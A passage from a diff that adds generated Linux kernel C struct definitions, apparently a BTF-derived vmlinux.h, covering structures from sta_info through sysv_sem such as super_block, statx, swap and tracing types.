txq_buffered_tids; + u64 assoc_at; + long last_connected; + __le16 last_seq_ctrl[17]; + u16 tid_seq[16]; + struct airtime_info airtime[4]; + u16 airtime_weight; + struct sta_ampdu_mlme ampdu_mlme; + struct codel_params cparams; + u8 reserved_tid; + s8 amsdu_mesh_control; + struct cfg80211_chan_def tdls_chandef; + struct ieee80211_fragment_cache frags; + struct ieee80211_sta_aggregates cur; + struct link_sta_info deflink; + struct link_sta_info __attribute__((btf_type_tag("rcu"))) *link[15]; + struct ieee80211_sta sta; +}; + +struct sta_link_alloc { + struct link_sta_info info; + struct ieee80211_link_sta sta; + struct callback_head callback_head; +}; + +struct sta_opmode_info { + u32 changed; + enum nl80211_smps_mode smps_mode; + enum nl80211_chan_width bw; + u8 rx_nss; +}; + +struct stack_entry { + struct trace_entry ent; + int size; + unsigned long caller[0]; +}; + +struct stack_frame { + struct stack_frame *next_frame; + unsigned long return_address; +}; + +struct stack_frame_user { + const void __attribute__((btf_type_tag("user"))) *next_fp; + unsigned long ret_addr; +}; + +struct stack_info { + enum stack_type type; + unsigned long *begin; + unsigned long *end; + unsigned long *next_sp; +}; + +struct stack_map_bucket { + struct pcpu_freelist_node fnode; + u32 hash; + u32 nr; + u64 data[0]; +}; + +struct stacktrace_cookie { + unsigned long *store; + unsigned int size; + unsigned int skip; + unsigned int len; +}; + +struct stashed_operations { + void (*put_data)(void *); + int (*init_inode)(struct inode *, void *); +}; + +struct stat { + __kernel_ulong_t st_dev; + __kernel_ulong_t st_ino; + __kernel_ulong_t st_nlink; + unsigned int st_mode; + unsigned int st_uid; + unsigned int st_gid; + unsigned int __pad0; + __kernel_ulong_t st_rdev; + __kernel_long_t st_size; + __kernel_long_t st_blksize; + __kernel_long_t st_blocks; + __kernel_ulong_t st_atime; + __kernel_ulong_t st_atime_nsec; + __kernel_ulong_t st_mtime; + __kernel_ulong_t st_mtime_nsec; + __kernel_ulong_t st_ctime; + __kernel_ulong_t st_ctime_nsec; + __kernel_long_t __unused[3]; +}; + +struct stat_node { + struct rb_node node; + void *stat; +}; + +struct tracer_stat; + +struct stat_session { + struct list_head session_list; + struct tracer_stat *ts; + struct rb_root stat_root; + struct mutex stat_mutex; + struct dentry *file; +}; + +struct statfs { + __kernel_long_t f_type; + __kernel_long_t f_bsize; + __kernel_long_t f_blocks; + __kernel_long_t f_bfree; + __kernel_long_t f_bavail; + __kernel_long_t f_files; + __kernel_long_t f_ffree; + __kernel_fsid_t f_fsid; + __kernel_long_t f_namelen; + __kernel_long_t f_frsize; + __kernel_long_t f_flags; + __kernel_long_t f_spare[4]; +}; + +struct statfs64 { + __kernel_long_t f_type; + __kernel_long_t f_bsize; + __u64 f_blocks; + __u64 f_bfree; + __u64 f_bavail; + __u64 f_files; + __u64 f_ffree; + __kernel_fsid_t f_fsid; + __kernel_long_t f_namelen; + __kernel_long_t f_frsize; + __kernel_long_t f_flags; + __kernel_long_t f_spare[4]; +}; + +struct static_call_mod; + +struct static_call_key { + void *func; + union { + unsigned long type; + struct static_call_mod *mods; + struct static_call_site *sites; + }; +}; + +struct static_call_mod { + struct static_call_mod *next; + struct module *mod; + struct static_call_site *sites; +}; + +struct static_call_site { + s32 addr; + s32 key; +}; + +struct static_call_tramp_key { + s32 tramp; + s32 key; +}; + +struct static_key_deferred { + struct static_key key; + unsigned long timeout; + struct delayed_work work; +}; + +struct static_key_false_deferred { + struct static_key_false key; + unsigned long timeout; + struct delayed_work work; +}; + +struct static_key_mod { + struct static_key_mod *next; + struct jump_entry *entries; + struct module *mod; +}; + +struct static_tree_desc_s { + const ct_data *static_tree; + const int *extra_bits; + int extra_base; + int elems; + int max_length; +}; + +struct station_del_parameters { + const u8 *mac; + u8 subtype; + u16 reason_code; + int link_id; +}; + +struct station_info { + u64 filled; + u32 connected_time; + u32 inactive_time; + u64 assoc_at; + u64 rx_bytes; + u64 tx_bytes; + u16 llid; + u16 plid; + u8 plink_state; + s8 signal; + s8 signal_avg; + u8 chains; + s8 chain_signal[4]; + s8 chain_signal_avg[4]; + struct rate_info txrate; + struct rate_info rxrate; + u32 rx_packets; + u32 tx_packets; + u32 tx_retries; + u32 tx_failed; + u32 rx_dropped_misc; + struct sta_bss_parameters bss_param; + struct nl80211_sta_flag_update sta_flags; + int generation; + const u8 *assoc_req_ies; + size_t assoc_req_ies_len; + u32 beacon_loss_count; + s64 t_offset; + enum nl80211_mesh_power_mode local_pm; + enum nl80211_mesh_power_mode peer_pm; + enum nl80211_mesh_power_mode nonpeer_pm; + u32 expected_throughput; + u64 tx_duration; + u64 rx_duration; + u64 rx_beacon; + u8 rx_beacon_signal_avg; + u8 connected_to_gate; + struct cfg80211_tid_stats *pertid; + s8 ack_signal; + s8 avg_ack_signal; + u16 airtime_weight; + u32 rx_mpdu_count; + u32 fcs_err_count; + u32 airtime_link_metric; + u8 connected_to_as; + bool mlo_params_valid; + u8 assoc_link_id; + int: 0; + u8 mld_addr[6]; + const u8 *assoc_resp_ies; + size_t assoc_resp_ies_len; +}; + +struct station_parameters { + struct net_device *vlan; + u32 sta_flags_mask; + u32 sta_flags_set; + u32 sta_modify_mask; + int listen_interval; + u16 aid; + u16 vlan_id; + u16 peer_aid; + u8 plink_action; + u8 plink_state; + u8 uapsd_queues; + u8 max_sp; + enum nl80211_mesh_power_mode local_pm; + u16 capability; + const u8 *ext_capab; + u8 ext_capab_len; + const u8 *supported_channels; + u8 supported_channels_len; + const u8 *supported_oper_classes; + u8 supported_oper_classes_len; + int support_p2p_ps; + u16 airtime_weight; + struct link_station_parameters link_sta_params; +}; + +struct statistics_general_data { + u32 beacon_silence_rssi_a; + u32 beacon_silence_rssi_b; + u32 beacon_silence_rssi_c; + u32 beacon_energy_a; + u32 beacon_energy_b; + u32 beacon_energy_c; +}; + +struct stats_reply_data { + struct ethnl_reply_data base; + union { + struct { + struct ethtool_eth_phy_stats phy_stats; + struct ethtool_eth_mac_stats mac_stats; + struct ethtool_eth_ctrl_stats ctrl_stats; + struct ethtool_rmon_stats rmon_stats; + }; + struct { + struct ethtool_eth_phy_stats phy_stats; + struct ethtool_eth_mac_stats mac_stats; + struct ethtool_eth_ctrl_stats ctrl_stats; + struct ethtool_rmon_stats rmon_stats; + } stats; + }; + const struct ethtool_rmon_hist_range *rmon_ranges; +}; + +struct stats_req_info { + struct ethnl_req_info base; + unsigned long stat_mask[1]; + enum ethtool_mac_stats_src src; +}; + +struct statx_timestamp { + __s64 tv_sec; + __u32 tv_nsec; + __s32 __reserved; +}; + +struct statx { + __u32 stx_mask; + __u32 stx_blksize; + __u64 stx_attributes; + __u32 stx_nlink; + __u32 stx_uid; + __u32 stx_gid; + __u16 stx_mode; + __u16 __spare0[1]; + __u64 stx_ino; + __u64 stx_size; + __u64 stx_blocks; + __u64 stx_attributes_mask; + struct statx_timestamp stx_atime; + struct statx_timestamp stx_btime; + struct statx_timestamp stx_ctime; + struct statx_timestamp stx_mtime; + __u32 stx_rdev_major; + __u32 stx_rdev_minor; + __u32 stx_dev_major; + __u32 stx_dev_minor; + __u64 stx_mnt_id; + __u32 stx_dio_mem_align; + __u32 stx_dio_offset_align; + __u64 stx_subvol; + __u32 stx_atomic_write_unit_min; + __u32 stx_atomic_write_unit_max; + __u32 stx_atomic_write_segments_max; + __u32 __spare1[1]; + __u64 __spare3[9]; +}; + +struct stop_event_data { + struct perf_event *event; + unsigned int restart; +}; + +struct stp_proto { + unsigned char group_address[6]; + void (*rcv)(const struct stp_proto *, struct sk_buff *, struct net_device *); + void *data; +}; + +struct strarray { + char **array; + size_t n; +}; + +struct strip_zone { + sector_t zone_end; + sector_t dev_start; + int nb_dev; + int disk_shift; +}; + +struct stripe { + struct dm_dev *dev; + sector_t physical_start; + atomic_t error_count; +}; + +struct stripe_c { + uint32_t stripes; + int stripes_shift; + sector_t stripe_width; + uint32_t chunk_size; + int chunk_size_shift; + struct dm_target *ti; + struct work_struct trigger_event; + struct stripe stripe[0]; +}; + +struct stripe_operations { + int target; + int target2; + enum sum_check_flags zero_sum_result; +}; + +struct stripe_head { + struct hlist_node hash; + struct list_head lru; + struct llist_node release_list; + struct r5conf *raid_conf; + short generation; + sector_t sector; + short pd_idx; + short qd_idx; + short ddf_layout; + short hash_lock_index; + unsigned long state; + atomic_t count; + int bm_seq; + int disks; + int overwrite_disks; + enum check_states check_state; + enum reconstruct_states reconstruct_state; + spinlock_t stripe_lock; + int cpu; + struct r5worker_group *group; + struct stripe_head *batch_head; + spinlock_t batch_lock; + struct list_head batch_list; + union { + struct r5l_io_unit *log_io; + struct ppl_io_unit *ppl_io; + }; + struct list_head log_list; + sector_t log_start; + struct list_head r5c; + struct page *ppl_page; + struct stripe_operations ops; + struct r5dev dev[0]; +}; + +struct stripe_head_state { + int syncing; + int expanding; + int expanded; + int replacing; + int locked; + int uptodate; + int to_read; + int to_write; + int failed; + int written; + int to_fill; + int compute; + int req_compute; + int non_overwrite; + int injournal; + int just_cached; + int failed_num[2]; + int p_failed; + int q_failed; + int dec_preread_active; + unsigned long ops_request; + struct md_rdev *blocked_rdev; + int handle_bad_blocks; + int log_failed; + int waiting_extra_page; +}; + +struct stripe_request_ctx { + struct stripe_head *batch_last; + sector_t first_sector; + sector_t last_sector; + unsigned long sectors_to_do[5]; + bool do_flush; +}; + +struct strp_msg { + int full_len; + int offset; +}; + +struct strset_info { + bool per_dev; + bool free_strings; + unsigned int count; + const char (*strings)[32]; +}; + +struct strset_reply_data { + struct ethnl_reply_data base; + struct strset_info sets[21]; +}; + +struct strset_req_info { + struct ethnl_req_info base; + u32 req_ids; + bool counts_only; +}; + +struct subprocess_info { + struct work_struct work; + struct completion *complete; + const char *path; + char **argv; + char **envp; + int wait; + int retval; + int (*init)(struct subprocess_info *, struct cred *); + void (*cleanup)(struct subprocess_info *); + void *data; +}; + +struct subsys_dev_iter { + struct klist_iter ki; + const struct device_type *type; +}; + +struct subsys_interface { + const char *name; + const struct bus_type *subsys; + struct list_head node; + int (*add_dev)(struct device *, struct subsys_interface *); + void (*remove_dev)(struct device *, struct subsys_interface *); +}; + +struct subsys_private { + struct kset subsys; + struct kset *devices_kset; + struct list_head interfaces; + struct mutex mutex; + struct kset *drivers_kset; + struct klist klist_devices; + struct klist klist_drivers; + struct blocking_notifier_head bus_notifier; + unsigned int drivers_autoprobe: 1; + const struct bus_type *bus; + struct device *dev_root; + struct kset glue_dirs; + const struct class *class; + struct lock_class_key lock_key; +}; + +struct sugov_policy; + +struct sugov_cpu { + struct update_util_data update_util; + struct sugov_policy *sg_policy; + unsigned int cpu; + bool iowait_boost_pending; + unsigned int iowait_boost; + u64 last_update; + unsigned long util; + unsigned long bw_min; + unsigned long saved_idle_calls; +}; + +struct sugov_tunables; + +struct sugov_policy { + struct cpufreq_policy *policy; + struct sugov_tunables *tunables; + struct list_head tunables_hook; + raw_spinlock_t update_lock; + u64 last_freq_update_time; + s64 freq_update_delay_ns; + unsigned int next_freq; + unsigned int cached_raw_freq; + struct irq_work irq_work; + struct kthread_work work; + struct mutex work_lock; + struct kthread_worker worker; + struct task_struct *thread; + bool work_in_progress; + bool limits_changed; + bool need_freq_update; +}; + +struct sugov_tunables { + struct gov_attr_set attr_set; + unsigned int rate_limit_us; +}; + +struct mtd_info; + +struct super_block { + struct list_head s_list; + dev_t s_dev; + unsigned char s_blocksize_bits; + unsigned long s_blocksize; + loff_t s_maxbytes; + struct file_system_type *s_type; + const struct super_operations *s_op; + const struct dquot_operations *dq_op; + const struct quotactl_ops *s_qcop; + const struct export_operations *s_export_op; + unsigned long s_flags; + unsigned long s_iflags; + unsigned long s_magic; + struct dentry *s_root; + struct rw_semaphore s_umount; + int s_count; + atomic_t s_active; + const struct xattr_handler * const *s_xattr; + struct hlist_bl_head s_roots; + struct list_head s_mounts; + struct block_device *s_bdev; + struct file *s_bdev_file; + struct backing_dev_info *s_bdi; + struct mtd_info *s_mtd; + struct hlist_node s_instances; + unsigned int s_quota_types; + struct quota_info s_dquot; + struct sb_writers s_writers; + void *s_fs_info; + u32 s_time_gran; + time64_t s_time_min; + time64_t s_time_max; + u32 s_fsnotify_mask; + struct fsnotify_sb_info *s_fsnotify_info; + char s_id[32]; + uuid_t s_uuid; + u8 s_uuid_len; + char s_sysfs_name[37]; + unsigned int s_max_links; + struct mutex s_vfs_rename_mutex; + const char *s_subtype; + const struct dentry_operations *s_d_op; + struct shrinker *s_shrink; + atomic_long_t s_remove_count; + int s_readonly_remount; + errseq_t s_wb_err; + struct workqueue_struct *s_dio_done_wq; + struct hlist_head s_pins; + struct user_namespace *s_user_ns; + struct list_lru s_dentry_lru; + struct list_lru s_inode_lru; + struct callback_head rcu; + struct work_struct destroy_work; + struct mutex s_sync_lock; + int s_stack_depth; + long: 64; + spinlock_t s_inode_list_lock; + struct list_head s_inodes; + spinlock_t s_inode_wblist_lock; + struct list_head s_inodes_wb; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct super_operations { + struct inode * (*alloc_inode)(struct super_block *); + void (*destroy_inode)(struct inode *); + void (*free_inode)(struct inode *); + void (*dirty_inode)(struct inode *, int); + int (*write_inode)(struct inode *, struct writeback_control *); + int (*drop_inode)(struct inode *); + void (*evict_inode)(struct inode *); + void (*put_super)(struct super_block *); + int (*sync_fs)(struct super_block *, int); + int (*freeze_super)(struct super_block *, enum freeze_holder); + int (*freeze_fs)(struct super_block *); + int (*thaw_super)(struct super_block *, enum freeze_holder); + int (*unfreeze_fs)(struct super_block *); + int (*statfs)(struct dentry *, struct kstatfs *); + int (*remount_fs)(struct super_block *, int *, char *); + void (*umount_begin)(struct super_block *); + int (*show_options)(struct seq_file *, struct dentry *); + int (*show_devname)(struct seq_file *, struct dentry *); + int (*show_path)(struct seq_file *, struct dentry *); + int (*show_stats)(struct seq_file *, struct dentry *); + long (*nr_cached_objects)(struct super_block *, struct shrink_control *); + long (*free_cached_objects)(struct super_block *, struct shrink_control *); + void (*shutdown)(struct super_block *); +}; + +struct super_type { + char *name; + struct module *owner; + int (*load_super)(struct md_rdev *, struct md_rdev *, int); + int (*validate_super)(struct mddev *, struct md_rdev *, struct md_rdev *); + void (*sync_super)(struct mddev *, struct md_rdev *); + unsigned long long (*rdev_size_change)(struct md_rdev *, sector_t); + int (*allow_new_offset)(struct md_rdev *, unsigned long long); +}; + +struct survey_info { + struct ieee80211_channel *channel; + u64 time; + u64 time_busy; + u64 time_ext_busy; + u64 time_rx; + u64 time_tx; + u64 time_scan; + u64 time_bss_rx; + u32 filled; + s8 noise; +}; + +struct suspend_stats { + unsigned int step_failures[8]; + unsigned int success; + unsigned int fail; + int last_failed_dev; + char failed_devs[80]; + int last_failed_errno; + int errno[2]; + int last_failed_step; + u64 last_hw_sleep; + u64 total_hw_sleep; + u64 max_hw_sleep; + enum suspend_stat_step failed_steps[2]; +}; + +struct swait_queue { + struct task_struct *task; + struct list_head task_list; +}; + +struct swap_cgroup { + unsigned short id; +}; + +struct swap_cgroup_ctrl { + struct page **map; + unsigned long length; + spinlock_t lock; +}; + +struct swap_cluster_info { + spinlock_t lock; + u16 count; + u8 flags; + u8 order; + struct list_head list; +}; + +struct swap_extent { + struct rb_node rb_node; + unsigned long start_page; + unsigned long nr_pages; + sector_t start_block; +}; + +union swap_header { + struct { + char reserved[4086]; + char magic[10]; + } magic; + struct { + char bootbits[1024]; + __u32 version; + __u32 last_page; + __u32 nr_badpages; + unsigned char sws_uuid[16]; + unsigned char sws_volume[16]; + __u32 padding[117]; + __u32 badpages[1]; + } info; +}; + +struct swap_info_struct { + struct percpu_ref users; + unsigned long flags; + short prio; + struct plist_node list; + signed char type; + unsigned int max; + unsigned char *swap_map; + unsigned long *zeromap; + struct swap_cluster_info *cluster_info; + struct list_head free_clusters; + struct list_head full_clusters; + struct list_head nonfull_clusters[10]; + struct list_head frag_clusters[10]; + unsigned int frag_cluster_nr[10]; + unsigned int lowest_bit; + unsigned int highest_bit; + unsigned int pages; + unsigned int inuse_pages; + unsigned int cluster_next; + unsigned int cluster_nr; + unsigned int __attribute__((btf_type_tag("percpu"))) *cluster_next_cpu; + struct percpu_cluster __attribute__((btf_type_tag("percpu"))) *percpu_cluster; + struct rb_root swap_extent_root; + struct block_device *bdev; + struct file *swap_file; + struct completion comp; + spinlock_t lock; + spinlock_t cont_lock; + struct work_struct discard_work; + struct list_head discard_clusters; + struct plist_node avail_lists[0]; +}; + +struct swap_iocb { + struct kiocb iocb; + struct bio_vec bvec[32]; + int pages; + int len; +}; + +struct swap_map_page; + +struct swap_map_page_list; + +struct swap_map_handle { + struct swap_map_page *cur; + struct swap_map_page_list *maps; + sector_t cur_swap; + sector_t first_sector; + unsigned int k; + unsigned long reqd_free_pages; + u32 crc32; +}; + +struct swap_map_page { + sector_t entries[511]; + sector_t next_swap; +}; + +struct swap_map_page_list { + struct swap_map_page *map; + struct swap_map_page_list *next; +}; + +struct swap_slots_cache { + bool lock_initialized; + struct mutex alloc_lock; + swp_entry_t *slots; + int nr; + int cur; + spinlock_t free_lock; + swp_entry_t *slots_ret; + int n_ret; +}; + +struct swevent_hlist { + struct hlist_head heads[256]; + struct callback_head callback_head; +}; + +struct swevent_htable { + struct swevent_hlist *swevent_hlist; + struct mutex hlist_mutex; + int hlist_refcount; +}; + +struct switchdev_mst_state { + u16 msti; + u8 state; +}; + +struct switchdev_brport_flags { + unsigned long val; + unsigned long mask; +}; + +struct switchdev_vlan_msti { + u16 vid; + u16 msti; +}; + +struct switchdev_attr { + struct net_device *orig_dev; + enum switchdev_attr_id id; + u32 flags; + void *complete_priv; + void (*complete)(struct net_device *, int, void *); + union { + u8 stp_state; + struct switchdev_mst_state mst_state; + struct switchdev_brport_flags brport_flags; + bool mrouter; + clock_t ageing_time; + bool vlan_filtering; + u16 vlan_protocol; + bool mst; + bool mc_disabled; + u8 mrp_port_role; + struct switchdev_vlan_msti vlan_msti; + } u; +}; + +struct swmii_regs { + u16 bmsr; + u16 lpa; + u16 lpagb; + u16 estat; +}; + +struct swnode { + struct kobject kobj; + struct fwnode_handle fwnode; + const struct software_node *node; + int id; + struct ida child_ids; + struct list_head entry; + struct list_head children; + struct swnode *parent; + unsigned int allocated: 1; + unsigned int managed: 1; +}; + +struct swoc_info { + __u8 rev; + __u8 reserved[8]; + __u16 LinuxSKU; + __u16 LinuxVer; + __u8 reserved2[47]; +} __attribute__((packed)); + +struct swsusp_extent { + struct rb_node node; + unsigned long start; + unsigned long end; +}; + +struct swsusp_header { + char reserved[4056]; + u32 hw_sig; + u32 crc32; + sector_t image; + unsigned int flags; + char orig_sig[10]; + char sig[10]; +}; + +struct swsusp_info { + struct new_utsname uts; + u32 version_code; + unsigned long num_physpages; + int cpus; + unsigned long image_pages; + unsigned long pages; + unsigned long size; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct sym_count_ctx { + unsigned int count; + const char *name; +}; + +struct symsearch { + const struct kernel_symbol *start; + const struct kernel_symbol *stop; + const s32 *crcs; + enum mod_license license; +}; + +struct sync_fence_info { + char obj_name[32]; + char driver_name[32]; + __s32 status; + __u32 flags; + __u64 timestamp_ns; +}; + +struct sync_file { + struct file *file; + char user_name[32]; + struct list_head sync_file_list; + wait_queue_head_t wq; + unsigned long flags; + struct dma_fence *fence; + struct dma_fence_cb cb; +}; + +struct sync_file_info { + char name[32]; + __s32 status; + __u32 flags; + __u32 num_fences; + __u32 pad; + __u64 sync_fence_info; +}; + +struct sync_io { + unsigned long error_bits; + struct completion wait; +}; + +struct sync_merge_data { + char name[32]; + __s32 fd2; + __s32 fence; + __u32 flags; + __u32 pad; +}; + +struct sync_set_deadline { + __u64 deadline_ns; + __u64 pad; +}; + +struct trace_event_fields; + +struct trace_event_class { + const char *system; + void *probe; + void *perf_probe; + int (*reg)(struct trace_event_call *, enum trace_reg, void *); + struct trace_event_fields *fields_array; + struct list_head * (*get_fields)(struct trace_event_call *); + struct list_head fields; + int (*raw_init)(struct trace_event_call *); +}; + +struct trace_event_functions; + +struct trace_event { + struct hlist_node node; + int type; + struct trace_event_functions *funcs; +}; + +struct trace_event_call { + struct list_head list; + struct trace_event_class *class; + union { + char *name; + struct tracepoint *tp; + }; + struct trace_event event; + char *print_fmt; + struct event_filter *filter; + union { + void *module; + atomic_t refcnt; + }; + void *data; + int flags; + int perf_refcount; + struct hlist_head __attribute__((btf_type_tag("percpu"))) *perf_events; + struct bpf_prog_array __attribute__((btf_type_tag("rcu"))) *prog_array; + int (*perf_perm)(struct trace_event_call *, struct perf_event *); +}; + +struct synth_field; + +struct synth_event { + struct dyn_event devent; + int ref; + char *name; + struct synth_field **fields; + unsigned int n_fields; + struct synth_field **dynamic_fields; + unsigned int n_dynamic_fields; + unsigned int n_u64; + struct trace_event_class class; + struct trace_event_call call; + struct tracepoint *tp; + struct module *mod; +}; + +struct trace_event_buffer { + struct trace_buffer *buffer; + struct ring_buffer_event *event; + struct trace_event_file *trace_file; + void *entry; + unsigned int trace_ctx; + struct pt_regs *regs; +}; + +struct synth_trace_event; + +struct synth_event_trace_state { + struct trace_event_buffer fbuffer; + struct synth_trace_event *entry; + struct trace_buffer *buffer; + struct synth_event *event; + unsigned int cur_field; + unsigned int n_u64; + bool disabled; + bool add_next; + bool add_name; +}; + +struct synth_field { + char *type; + char *name; + size_t size; + unsigned int offset; + unsigned int field_pos; + bool is_signed; + bool is_string; + bool is_dynamic; + bool is_stack; +}; + +struct synth_field_desc { + const char *type; + const char *name; +}; + +struct trace_dynamic_info { + u16 offset; + u16 len; +}; + +union trace_synth_field { + u8 as_u8; + u16 as_u16; + u32 as_u32; + u64 as_u64; + struct trace_dynamic_info as_dynamic; +}; + +struct synth_trace_event { + struct trace_entry ent; + union trace_synth_field fields[0]; +}; + +struct sys_off_data { + int mode; + void *cb_data; + const char *cmd; + struct device *dev; +}; + +struct sys_off_handler { + struct notifier_block nb; + int (*sys_off_cb)(struct sys_off_data *); + void *cb_data; + enum sys_off_mode mode; + bool blocking; + void *list; + struct device *dev; +}; + +struct syscall_info { + __u64 sp; + struct seccomp_data data; +}; + +struct syscall_metadata { + const char *name; + int syscall_nr; + int nb_args; + const char **types; + const char **args; + struct list_head enter_fields; + struct trace_event_call *enter_event; + struct trace_event_call *exit_event; +}; + +struct syscall_tp_t { + struct trace_entry ent; + int syscall_nr; + unsigned long ret; +}; + +struct syscall_tp_t___2 { + struct trace_entry ent; + int syscall_nr; + unsigned long args[6]; +}; + +struct syscall_trace_enter { + struct trace_entry ent; + int nr; + unsigned long args[0]; +}; + +struct syscall_trace_exit { + struct trace_entry ent; + int nr; + long ret; +}; + +struct syscall_user_dispatch { + char __attribute__((btf_type_tag("user"))) *selector; + unsigned long offset; + unsigned long len; + bool on_dispatch; +}; + +struct syscore_ops { + struct list_head node; + int (*suspend)(void); + void (*resume)(void); + void (*shutdown)(void); +}; + +struct sysctl_alias { + const char *kernel_param; + const char *sysctl_param; +}; + +struct sysfs_ops { + ssize_t (*show)(struct kobject *, struct attribute *, char *); + ssize_t (*store)(struct kobject *, struct attribute *, const char *, size_t); +}; + +struct sysinfo { + __kernel_long_t uptime; + __kernel_ulong_t loads[3]; + __kernel_ulong_t totalram; + __kernel_ulong_t freeram; + __kernel_ulong_t sharedram; + __kernel_ulong_t bufferram; + __kernel_ulong_t totalswap; + __kernel_ulong_t freeswap; + __u16 procs; + __u16 pad; + __kernel_ulong_t totalhigh; + __kernel_ulong_t freehigh; + __u32 mem_unit; + char _f[0]; +}; + +struct sysrq_key_op { + void (* const handler)(u8); + const char * const help_msg; + const char * const action_msg; + const int enable_mask; +}; + +struct sysrq_state { + struct input_handle handle; + struct work_struct reinject_work; + unsigned long key_down[12]; + unsigned int alt; + unsigned int alt_use; + unsigned int shift; + unsigned int shift_use; + bool active; + bool need_reinject; + bool reinjecting; + bool reset_canceled; + bool reset_requested; + unsigned long reset_keybit[12]; + int reset_seq_len; + int reset_seq_cnt; + int reset_seq_version; + struct timer_list keyreset_timer; +}; + +struct system_counterval_t { + u64 cycles; + enum clocksource_ids cs_id; + bool use_nsecs; +}; + +struct system_device_crosststamp { + ktime_t device; + ktime_t sys_realtime; + ktime_t sys_monoraw; +}; + +struct system_time_snapshot { + u64 cycles; + ktime_t real; + ktime_t raw; + enum clocksource_ids cs_id; + unsigned int clock_was_set_seq; + u8 cs_was_changed_seq; +}; + +struct sysv_sem { + struct sem_undo_list *undo_list; 